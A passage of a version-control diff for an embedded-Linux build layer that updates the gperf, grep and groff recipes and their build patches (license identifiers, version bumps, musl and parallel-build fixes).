153+ (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename))
154+# endif
155+# define IS_RELATIVE_FILE_NAME(Filename) \
156+ (! (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename)))
157+# define IS_FILE_NAME_WITH_DIR(Filename) \
158+ (strchr ((Filename), '/') != NULL || strchr ((Filename), '\\') != NULL \
159+ || HAS_DEVICE (Filename))
160+#else
161+ /* Unix */
162+# define ISSLASH(C) ((C) == '/')
163+# define HAS_DEVICE(Filename) ((void) (Filename), 0)
164+# define FILE_SYSTEM_PREFIX_LEN(Filename) ((void) (Filename), 0)
165+# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
166+# define IS_ABSOLUTE_FILE_NAME(Filename) ISSLASH ((Filename)[0])
167+# define IS_RELATIVE_FILE_NAME(Filename) (! ISSLASH ((Filename)[0]))
168+# define IS_FILE_NAME_WITH_DIR(Filename) (strchr ((Filename), '/') != NULL)
169+#endif
170+
171+/* Deprecated macros. For backward compatibility with old users of the
172+ 'filename' module. */
173+#define IS_ABSOLUTE_PATH IS_ABSOLUTE_FILE_NAME
174+#define IS_PATH_WITH_DIR IS_FILE_NAME_WITH_DIR
175+
176+
177+#ifdef __cplusplus
178+}
179+#endif
180+
181+#endif /* _FILENAME_H */
diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb
index f61b2a329a..c57ade9fe3 100644
--- a/meta/recipes-extended/gperf/gperf_3.1.bb
+++ b/meta/recipes-extended/gperf/gperf_3.1.bb
@@ -1,18 +1,21 @@
1DESCRIPTION = "GNU gperf is a perfect hash function generator" 1DESCRIPTION = "GNU gperf is a perfect hash function generator"
2HOMEPAGE = "http://www.gnu.org/software/gperf" 2HOMEPAGE = "http://www.gnu.org/software/gperf"
3SUMMARY = "Generate a perfect hash function from a set of keywords" 3SUMMARY = "Generate a perfect hash function from a set of keywords"
4LICENSE = "GPLv3+" 4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ 5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
6 file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b" 6 file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
7 7
8SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz" 8SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
9 file://0001-Make-the-code-C-17-compliant.patch"
9SRC_URI[md5sum] = "9e251c0a618ad0824b51117d5d9db87e" 10SRC_URI[md5sum] = "9e251c0a618ad0824b51117d5d9db87e"
10SRC_URI[sha256sum] = "588546b945bba4b70b6a3a616e80b4ab466e3f33024a352fc2198112cdbb3ae2" 11SRC_URI[sha256sum] = "588546b945bba4b70b6a3a616e80b4ab466e3f33024a352fc2198112cdbb3ae2"
11 12
13SRC_URI += "file://1862c6e57a308a05889c80c048dbc58bdc378dcb.patch"
14
12inherit autotools 15inherit autotools
13 16
14# The nested configures don't find the parent aclocal.m4 out of the box, so tell 17# The nested configures don't find the parent aclocal.m4 out of the box, so tell
15# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel). 18# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel).
16EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal" 19EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal"
17 20
18BBCLASSEXTEND = "native" 21BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/grep/grep_3.6.bb b/meta/recipes-extended/grep/grep_3.11.bb
index cb009b9132..cb3105de04 100644
--- a/meta/recipes-extended/grep/grep_3.6.bb
+++ b/meta/recipes-extended/grep/grep_3.11.bb
@@ -1,20 +1,21 @@
1SUMMARY = "GNU grep utility" 1SUMMARY = "GNU grep utility"
2HOMEPAGE = "http://savannah.gnu.org/projects/grep/" 2HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
3DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
3BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep" 4BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
4SECTION = "console/utils" 5SECTION = "console/utils"
5LICENSE = "GPLv3" 6LICENSE = "GPL-3.0-only"
6LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" 7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
7 8
8SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz" 9SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
9 10
10SRC_URI[sha256sum] = "667e15e8afe189e93f9f21a7cd3a7b3f776202f417330b248c2ad4f997d9373e" 11SRC_URI[sha256sum] = "1db2aedde89d0dea42b16d9528f894c8d15dae4e190b59aecc78f5a951276eab"
11 12
12inherit autotools gettext texinfo pkgconfig 13inherit autotools gettext texinfo pkgconfig
13 14
14# Fix "Argument list too long" error when len(TMPDIR) = 410 15# Fix "Argument list too long" error when len(TMPDIR) = 410
15acpaths = "-I ./m4" 16acpaths = "-I ./m4"
16 17
17do_configure_prepend () { 18do_configure:prepend () {
18 sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh 19 sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
19 rm -f ${S}/m4/init.m4 20 rm -f ${S}/m4/init.m4
20} 21}
@@ -33,11 +34,11 @@ do_install () {
33inherit update-alternatives 34inherit update-alternatives
34 35
35PACKAGECONFIG ??= "pcre" 36PACKAGECONFIG ??= "pcre"
36PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre" 37PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre2"
37 38
38ALTERNATIVE_PRIORITY = "100" 39ALTERNATIVE_PRIORITY = "100"
39 40
40ALTERNATIVE_${PN} = "grep egrep fgrep" 41ALTERNATIVE:${PN} = "grep egrep fgrep"
41ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep" 42ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
42ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep" 43ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
43ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep" 44ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
deleted file mode 100644
index 46065bc513..0000000000
--- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch
+++ /dev/null
@@ -1,208 +0,0 @@
1From 6cfa9f8126c1d6ec26f120d273e714fb19108873 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sun, 4 Aug 2019 16:32:41 -0700
4Subject: [PATCH] Include config.h
5
6This helps avoid the include conflicts where <stdlib.h> is including
7<math.h> and since -I./lib is used and a local math.h wrapper is
8residing in there, the build breaks since stdlib.h really wants the
9standard system math.h to be included, this ensures that right macros
10are predefined and included before stdlib.h is included
11
12fixes
13In file included from src/libs/libgroff/assert.cpp:20:
14In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4-r0/recipe-sysroot/usr/include/c++/v1/stdlib.h:100:
15./lib/math.h:38:3: error: "Please include config.h first."
16 #error "Please include config.h first."
17 ^
18./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN'
19
20We delete eqn.cpp and qen.hpp in do_configure
21to ensure they're regenerated and deterministic.
22
23Upstream-Status: Pending
24Signed-off-by: Khem Raj <raj.khem@gmail.com>
25---
26 src/libs/libgroff/assert.cpp | 4 +
27 src/libs/libgroff/curtime.cpp | 4 +
28 src/libs/libgroff/device.cpp | 4 +
29 src/libs/libgroff/error.cpp | 4 +
30 src/libs/libgroff/fatal.cpp | 4 +
31 src/libs/libgroff/string.cpp | 4 +
32 src/libs/libgroff/strsave.cpp | 4 +
33 src/preproc/eqn/eqn.cpp | 450 ++++++++++++++++++----------------
34 src/preproc/eqn/eqn.hpp | 12 +-
35 src/preproc/eqn/eqn.ypp | 4 +
36 src/preproc/eqn/other.cpp | 4 +
37 src/preproc/eqn/text.cpp | 4 +
38 src/preproc/pic/object.cpp | 4 +
39 13 files changed, 285 insertions(+), 221 deletions(-)
40
41diff --git a/src/libs/libgroff/assert.cpp b/src/libs/libgroff/assert.cpp
42index aceed05..97780d6 100644
43--- a/src/libs/libgroff/assert.cpp
44+++ b/src/libs/libgroff/assert.cpp
45@@ -16,6 +16,10 @@ for more details.
46 You should have received a copy of the GNU General Public License
47 along with this program. If not, see <http://www.gnu.org/licenses/>. */
48
49+#if HAVE_CONFIG_H
50+# include <config.h>
51+#endif
52+
53 #include <stdio.h>
54 #include <stdlib.h>
55 #include "assert.h"
56diff --git a/src/libs/libgroff/curtime.cpp b/src/libs/libgroff/curtime.cpp
57index 72fe067..9ddba08 100644
58--- a/src/libs/libgroff/curtime.cpp
59+++ b/src/libs/libgroff/curtime.cpp
60@@ -15,6 +15,10 @@ for more details.
61 The GNU General Public License version 2 (GPL2) is available in the
62 internet at <http://www.gnu.org/licenses/gpl-2.0.txt>. */
63
64+#if HAVE_CONFIG_H
65+# include <config.h>
66+#endif
67+
68 #include <errno.h>
69 #include <limits.h>
70 #include <stdlib.h>
71diff --git a/src/libs/libgroff/device.cpp b/src/libs/libgroff/device.cpp
72index 0d28b85..c211f85 100644
73--- a/src/libs/libgroff/device.cpp
74+++ b/src/libs/libgroff/device.cpp
75@@ -17,6 +17,10 @@ for more details.
76 You should have received a copy of the GNU General Public License
77 along with this program. If not, see <http://www.gnu.org/licenses/>. */
78
79+#if HAVE_CONFIG_H
80+# include <config.h>
81+#endif
82+
83 #include <stdlib.h>
84 #include "device.h"
85 #include "defs.h"
86diff --git a/src/libs/libgroff/error.cpp b/src/libs/libgroff/error.cpp
87index 9a18803..7b63d3d 100644
88--- a/src/libs/libgroff/error.cpp
89+++ b/src/libs/libgroff/error.cpp
90@@ -17,6 +17,10 @@ for more details.
91 You should have received a copy of the GNU General Public License
92 along with this program. If not, see <http://www.gnu.org/licenses/>. */
93
94+#if HAVE_CONFIG_H
95+# include <config.h>
96+#endif
97+
98 #include <stdio.h>
99 #include <stdlib.h>
100 #include <string.h>
101diff --git a/src/libs/libgroff/fatal.cpp b/src/libs/libgroff/fatal.cpp
102index c0dcb35..fd6003e 100644
103--- a/src/libs/libgroff/fatal.cpp
104+++ b/src/libs/libgroff/fatal.cpp
105@@ -16,6 +16,10 @@ for more details.
106 You should have received a copy of the GNU General Public License
107 along with this program. If not, see <http://www.gnu.org/licenses/>. */
108
109+#if HAVE_CONFIG_H
110+# include <config.h>
111+#endif
112+
113 #include <stdlib.h>
114
115 #define FATAL_ERROR_EXIT_CODE 3
116diff --git a/src/libs/libgroff/string.cpp b/src/libs/libgroff/string.cpp
117index 46c015c..449f3a6 100644
118--- a/src/libs/libgroff/string.cpp
119+++ b/src/libs/libgroff/string.cpp
120@@ -17,6 +17,10 @@ for more details.
121 You should have received a copy of the GNU General Public License
122 along with this program. If not, see <http://www.gnu.org/licenses/>. */
123
124+#if HAVE_CONFIG_H
125+# include <config.h>
126+#endif
127+
128 #include <stdlib.h>
129
130 #include "lib.h"
131diff --git a/src/libs/libgroff/strsave.cpp b/src/libs/libgroff/strsave.cpp
132index f95c05e..d875045 100644
133--- a/src/libs/libgroff/strsave.cpp
134+++ b/src/libs/libgroff/strsave.cpp
135@@ -17,6 +17,10 @@ for more details.
136 You should have received a copy of the GNU General Public License
137 along with this program. If not, see <http://www.gnu.org/licenses/>. */
138
139+#if HAVE_CONFIG_H
140+# include <config.h>
141+#endif
142+
143 #include <string.h>
144 #include <stdlib.h>
145
146diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp
147index fb318c3..b7b647e 100644
148--- a/src/preproc/eqn/eqn.ypp
149+++ b/src/preproc/eqn/eqn.ypp
150@@ -16,6 +16,10 @@ for more details.
151 You should have received a copy of the GNU General Public License
152 along with this program. If not, see <http://www.gnu.org/licenses/>. */
153 %{
154+#if HAVE_CONFIG_H
155+# include <config.h>
156+#endif
157+
158 #include <stdio.h>
159 #include <string.h>
160 #include <stdlib.h>
161diff --git a/src/preproc/eqn/other.cpp b/src/preproc/eqn/other.cpp
162index 8db993f..38db396 100644
163--- a/src/preproc/eqn/other.cpp
164+++ b/src/preproc/eqn/other.cpp
165@@ -17,6 +17,10 @@ for more details.
166 You should have received a copy of the GNU General Public License
167 along with this program. If not, see <http://www.gnu.org/licenses/>. */
168
169+#if HAVE_CONFIG_H
170+# include <config.h>
171+#endif
172+
173 #include <stdlib.h>
174
175 #include "eqn.h"
176diff --git a/src/preproc/eqn/text.cpp b/src/preproc/eqn/text.cpp
177index f3d06f9..3b244d5 100644
178--- a/src/preproc/eqn/text.cpp
179+++ b/src/preproc/eqn/text.cpp
180@@ -17,6 +17,10 @@ for more details.
181 You should have received a copy of the GNU General Public License
182 along with this program. If not, see <http://www.gnu.org/licenses/>. */
183
184+#if HAVE_CONFIG_H
185+# include <config.h>
186+#endif
187+
188 #include <ctype.h>
189 #include <stdlib.h>
190 #include "eqn.h"
191diff --git a/src/preproc/pic/object.cpp b/src/preproc/pic/object.cpp
192index d8ba610..f26a831 100644
193--- a/src/preproc/pic/object.cpp
194+++ b/src/preproc/pic/object.cpp
195@@ -17,6 +17,10 @@ for more details.
196 You should have received a copy of the GNU General Public License
197 along with this program. If not, see <http://www.gnu.org/licenses/>. */
198
199+#if HAVE_CONFIG_H
200+# include <config.h>
201+#endif
202+
203 #include <stdlib.h>
204
205 #include "pic.h"
206--
2072.22.0
208
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
index 9105da6457..6dc84c9062 100644
--- a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
+++ b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
@@ -1,27 +1,25 @@
1From e738f9185ba90f2083c846ade3551234bb5a7cbc Mon Sep 17 00:00:00 2001 1From aa1f37f1e0ff0dc0eeb199b52959e0deb275721e Mon Sep 17 00:00:00 2001
2From: Jeremy Puhlman <jpuhlman@mvista.com> 2From: Jeremy Puhlman <jpuhlman@mvista.com>
3Date: Sat, 7 Mar 2020 00:59:13 +0000 3Date: Sat, 7 Mar 2020 00:59:13 +0000
4Subject: [PATCH] Make manpages mulitlib identical 4Subject: [PATCH] Make manpages mulitlib identical
5 5
6Upstream-Status: Pending 6Upstream-Status: Submitted [by email to g.branden.robinson@gmail.com]
7Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com> 7Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
8
8--- 9---
9 Makefile.am | 2 +- 10 Makefile.am | 2 +-
10 1 file changed, 1 insertion(+), 1 deletion(-) 11 1 file changed, 1 insertion(+), 1 deletion(-)
11 12
12diff --git a/Makefile.am b/Makefile.am 13diff --git a/Makefile.am b/Makefile.am
13index d18c49b..6175fe9 100644 14index f7ab410..7e1f3fb 100644
14--- a/Makefile.am 15--- a/Makefile.am
15+++ b/Makefile.am 16+++ b/Makefile.am
16@@ -917,7 +917,7 @@ SUFFIXES += .man 17@@ -891,7 +891,7 @@ SUFFIXES += .man
17 -e "s|[@]MDATE[@]|`$(PERL) $(top_srcdir)/mdate.pl $<`|g" \ 18 -e "s|[@]PAGE[@]|\\\\%$(PAGE)|g" \
18 -e "s|[@]OLDFONTDIR[@]|`echo $(oldfontdir) | sed -f $(makevarescape)`|g" \
19 -e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \ 19 -e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
20 -e "s|[@]PSPRINT[@]|`echo $(PSPRINT) | sed -f $(makevarescape)`|g" \
20- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \ 21- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
21+ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \ 22+ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
22 -e "s|[@]TMAC_AN_PREFIX[@]|$(tmac_an_prefix)|g" \ 23 -e "s|[@]TMAC_AN_PREFIX[@]|\\\\%$(tmac_an_prefix)|g" \
23 -e "s|[@]TMAC_M_PREFIX[@]|$(tmac_m_prefix)|g" \ 24 -e "s|[@]TMAC_M_PREFIX[@]|\\\\%$(tmac_m_prefix)|g" \
24 -e "s|[@]TMAC_MDIR[@]|$(tmacdir)/mm|g" \ 25 -e "s|[@]TMAC_MDIR[@]|`echo $(tmacdir) | sed -f $(makevarescape)`/mm|g" \
25--
262.23.0
27
diff --git a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
new file mode 100644
index 0000000000..eae5dc9998
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
@@ -0,0 +1,51 @@
1From c75965053124149381ada3c394da74be078076cf Mon Sep 17 00:00:00 2001
2From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
3Date: Sat, 16 Sep 2023 16:28:00 -0500
4Subject: [PATCH] [build]: Fix Savannah #64681 (webpage.ps deps).
5
6* doc/doc.am (doc/webpage.ps, doc/webpage.html): Update and parallelize
7 target dependencies. Resolve race by requiring "grn" and "soelim" to
8 be built first. Also add dependency on `$(TMAC_PACKAGE_MS)`.
9
10Fixes <https://savannah.gnu.org/bugs/?64681>. Thanks to Alexander
11Kanavin for the report.
12
13ANNOUNCE: Acknowledge Alexander.
14
15Upstream-Status: Backport
16Signed-off-by: Alexander Kanavin <alex@linutronix.de>
17---
18 doc/doc.am | 12 ++++++++----
19 1 file changed, 8 insertions(+), 4 deletions(-)
20
21diff --git a/doc/doc.am b/doc/doc.am
22index cddc51907..d3c9ab6b7 100644
23--- a/doc/doc.am
24+++ b/doc/doc.am
25@@ -346,6 +346,9 @@ doc/pic.ps: $(doc_srcdir)/pic.ms eqn pic tbl
26 $(GROFF_V)$(MKDIR_P) `dirname $@` \
27 && $(DOC_GROFF) -pet -Tps -ms $(doc_srcdir)/pic.ms >$@
28
29+# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
30+# soelim even though the document doesn't require them.
31+doc/webpage.ps: grn soelim
32 doc/webpage.ps: $(DOC_GNU_EPS) tmac/www.tmac tbl
33 doc/webpage.ps: $(doc_srcdir)/webpage.ms
34 $(GROFF_V)$(MKDIR_P) `dirname $@` \
35@@ -365,11 +368,12 @@ doc/pic.html: $(doc_srcdir)/pic.ms
36 && $(DOC_GROFF) -pet -P-Ipic -P-Dimg -P-jpic -Thtml -ms \
37 $(doc_srcdir)/pic.ms > pic.html
38
39-doc/webpage.html: tbl
40-doc/webpage.html: tmac/www.tmac
41-doc/webpage.html: $(DOC_GNU_EPS)
42+# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
43+# soelim even though the document doesn't require them.
44+doc/webpage.html: grn soelim
45+doc/webpage.html: $(DOC_GNU_EPS) tmac/www.tmac tbl
46 doc/webpage.html: $(doc_srcdir)/groff.css
47-doc/webpage.html: $(doc_srcdir)/webpage.ms
48+doc/webpage.html: $(doc_srcdir)/webpage.ms $(TMAC_PACKAGE_MS)
49 $(GROFF_V)$(MKDIR_P) $(doc_builddir) \
50 && cd $(doc_builddir) \
51 && $(DOC_GROFF) -t -I $(doc_srcdir) -P-jwebpage -P-nrb \
diff --git a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
new file mode 100644
index 0000000000..3e81b86ac8
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
@@ -0,0 +1,31 @@
1From f21e9f13beb57a1e0666edf9693d7c83f2189897 Mon Sep 17 00:00:00 2001
2From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
3Date: Fri, 22 Sep 2023 01:27:57 -0500
4Subject: [PATCH] [build]: meintro_fr.ps depends on tbl.
5
6* doc/doc.am (doc/meintro_fr.ps): Depend on tbl, resolving race in
7 sufficiently parallelized builds. Overlooked in commit 92349ae223,
8 2022-05-30.
9
10Fixes <https://savannah.gnu.org/bugs/?64695>. Thanks to Alexander
11Kanavin for the report.
12
13Upstream-Status: Backport
14Signed-off-by: Alexander Kanavin <alex@linutronix.de>
15---
16 doc/doc.am | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/doc/doc.am b/doc/doc.am
20index d3c9ab6b7..0f95c7774 100644
21--- a/doc/doc.am
22+++ b/doc/doc.am
23@@ -334,7 +334,7 @@ SUFFIXES += .me.in .me
24
25 # Use '-K utf8', not '-k', in case 'configure' didn't find uchardet.
26 # The French translation uses tbl; its English counterpart does not.
27-doc/meintro_fr.ps: doc/meintro_fr.me preconv
28+doc/meintro_fr.ps: doc/meintro_fr.me preconv tbl
29 $(GROFF_V)$(MKDIR_P) `dirname $@` \
30 && $(DOC_GROFF) -K utf8 -t -Tps -me -mfr $< >$@
31
diff --git a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index eda6a40f51..0000000000
--- a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,106 +0,0 @@
1From 6821a23e6cf34df37c351b45be413a8da9115f9f Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Sat, 11 May 2019 17:03:03 +0800
4Subject: [PATCH 1/2] replace "perl -w" with "use warnings"
5
6The shebang's max length is usually 128 as defined in
7/usr/include/linux/binfmts.h:
8 #define BINPRM_BUF_SIZE 128
9
10There would be errors when @PERL@ is longer than 128, use
11'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
12doesn't work:
13
14/usr/bin/env: perl -w: No such file or directory
15
16So replace "perl -w" with "use warnings" to make it work.
17
18Upstream-Status: Pending
19
20Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
21
22Rebase to 1.22.4.
23
24Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
25---
26 font/devpdf/util/BuildFoundries.pl | 3 ++-
27 src/devices/gropdf/gropdf.pl | 3 ++-
28 src/devices/gropdf/pdfmom.pl | 3 ++-
29 src/utils/afmtodit/afmtodit.pl | 3 ++-
30 4 files changed, 8 insertions(+), 4 deletions(-)
31
32diff --git a/font/devpdf/util/BuildFoundries.pl b/font/devpdf/util/BuildFoundries.pl
33index f8af826..9584e28 100644
34--- a/font/devpdf/util/BuildFoundries.pl
35+++ b/font/devpdf/util/BuildFoundries.pl
36@@ -1,4 +1,4 @@
37-#!/usr/bin/perl -w
38+#!/usr/bin/perl
39 #
40 # BuildFoundries : Given a Foundry file generate groff and download files
41 # Deri James : Monday 07 Feb 2011
42@@ -22,6 +22,7 @@
43 # along with this program. If not, see <http://www.gnu.org/licenses/>.
44
45 use strict;
46+use warnings;
47
48 (my $progname = $0) =~s @.*/@@;
49 my $where=shift||'';
50diff --git a/src/devices/gropdf/gropdf.pl b/src/devices/gropdf/gropdf.pl
51index 2ec52d0..ce5a06f 100644
52--- a/src/devices/gropdf/gropdf.pl
53+++ b/src/devices/gropdf/gropdf.pl
54@@ -1,4 +1,4 @@
55-#!@PERL@ -w
56+#!@PERL@
57 #
58 # gropdf : PDF post processor for groff
59 #
60@@ -21,6 +21,7 @@
61 # along with this program. If not, see <http://www.gnu.org/licenses/>.
62
63 use strict;
64+use warnings;
65 use Getopt::Long qw(:config bundling);
66
67 use constant
68diff --git a/src/devices/gropdf/pdfmom.pl b/src/devices/gropdf/pdfmom.pl
69index c9b08b2..61124f3 100644
70--- a/src/devices/gropdf/pdfmom.pl
71+++ b/src/devices/gropdf/pdfmom.pl
72@@ -1,4 +1,4 @@
73-#!@PERL@ -w
74+#!@PERL@
75 #
76 # pdfmom : Frontend to run groff -mom to produce PDFs
77 # Deri James : Friday 16 Mar 2012
78@@ -23,6 +23,7 @@
79 # along with this program. If not, see <http://www.gnu.org/licenses/>.
80
81 use strict;
82+use warnings;
83 use File::Temp qw/tempfile/;
84 my @cmd;
85 my $dev='pdf';
86diff --git a/src/utils/afmtodit/afmtodit.pl b/src/utils/afmtodit/afmtodit.pl
87index 954c58e..81a6c97 100644
88--- a/src/utils/afmtodit/afmtodit.pl
89+++ b/src/utils/afmtodit/afmtodit.pl
90@@ -1,4 +1,4 @@
91-#! /usr/bin/perl -w
92+#! /usr/bin/perl
93 # -*- Perl -*-
94 # Copyright (C) 1989-2018 Free Software Foundation, Inc.
95 # Written by James Clark (jjc@jclark.com)
96@@ -19,6 +19,7 @@
97 # along with this program. If not, see <http://www.gnu.org/licenses/>.
98
99 use strict;
100+use warnings;
101
102 @afmtodit.tables@
103
104--
1052.7.4
106
diff --git a/meta/recipes-extended/groff/files/0001-support-musl.patch b/meta/recipes-extended/groff/files/0001-support-musl.patch
deleted file mode 100644
index a837b11b1b..0000000000
--- a/meta/recipes-extended/groff/files/0001-support-musl.patch
+++ /dev/null
@@ -1,41 +0,0 @@
1From 695965c27be74acb5968f19d51af86065c4b71a9 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Mon, 13 May 2019 09:48:14 +0800
4Subject: [PATCH] support musl
5
6...
7|./lib/math.h:2877:1: error: 'int signbit(float)' conflicts with a previous declaration
8| _GL_MATH_CXX_REAL_FLOATING_DECL_2 (signbit)
9| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
10|In file included from recipe-sysroot/usr/include/c++/8.3.0/math.h:36,
11| from ./lib/math.h:27,
12| from ./src/include/driver.h:27,
13| from src/devices/grodvi/dvi.cpp:20:
14|recipe-sysroot/usr/include/c++/8.3.0/cmath:661:3: note: previous declaration 'constexpr bool std::signbit(float)'
15| signbit(float __x)
16| ^~~~~~~
17...
18
19Upstream-Status: Backport [http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=commit;h=453ff940449bbbde9ec00f0bbf82a359c5598fc7]
20
21Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
22---
23 gnulib_m4/signbit.m4 | 2 ++
24 1 file changed, 2 insertions(+)
25
26diff --git a/gnulib_m4/signbit.m4 b/gnulib_m4/signbit.m4
27index 9e7884d..8b9c70c 100644
28--- a/gnulib_m4/signbit.m4
29+++ b/gnulib_m4/signbit.m4
30@@ -31,6 +31,8 @@ AC_DEFUN([gl_SIGNBIT],
31 [case "$host_os" in
32 # Guess yes on glibc systems.
33 *-gnu* | gnu*) gl_cv_func_signbit="guessing yes" ;;
34+ # Guess yes on musl systems.
35+ *-musl*) gl_cv_func_signbit="guessing yes" ;;
36 # Guess yes on native Windows.
37 mingw*) gl_cv_func_signbit="guessing yes" ;;
38 # If we don't know, assume the worst.
39--
402.7.4
41
diff --git a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
index c80a2a5c38..23992576f9 100644
--- a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
+++ b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
@@ -1,7 +1,7 @@
1From 75761ae7adc88412de4379d1cf5484b055cd5f18 Mon Sep 17 00:00:00 2001 1From eb16276c3e2e34aa2e57f6a0e68554657b90cd28 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com> 2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Sat, 11 May 2019 17:06:29 +0800 3Date: Sat, 11 May 2019 17:06:29 +0800
4Subject: [PATCH 2/2] groff searchs fonts which are provided by ghostscript on 4Subject: [PATCH] groff searchs fonts which are provided by ghostscript on
5 build host. It causes non-determinism issue. So not search font dirs on host. 5 build host. It causes non-determinism issue. So not search font dirs on host.
6 6
7Upstream-Status: Inappropriate [cross build specific] 7Upstream-Status: Inappropriate [cross build specific]
@@ -10,23 +10,30 @@ Signed-off-by: Kai Kang <kai.kang@windriver.com>
10 10
11Rebase to 1.22.4 11Rebase to 1.22.4
12Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> 12Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
13
13--- 14---
14 font/devpdf/Foundry.in | 2 +- 15 font/devpdf/Foundry.in | 4 ++--
15 1 file changed, 1 insertion(+), 1 deletion(-) 16 1 file changed, 2 insertions(+), 2 deletions(-)
16 17
17diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in 18diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in
18index 93e9b66..235b23b 100644 19index e5aba65..5441734 100644
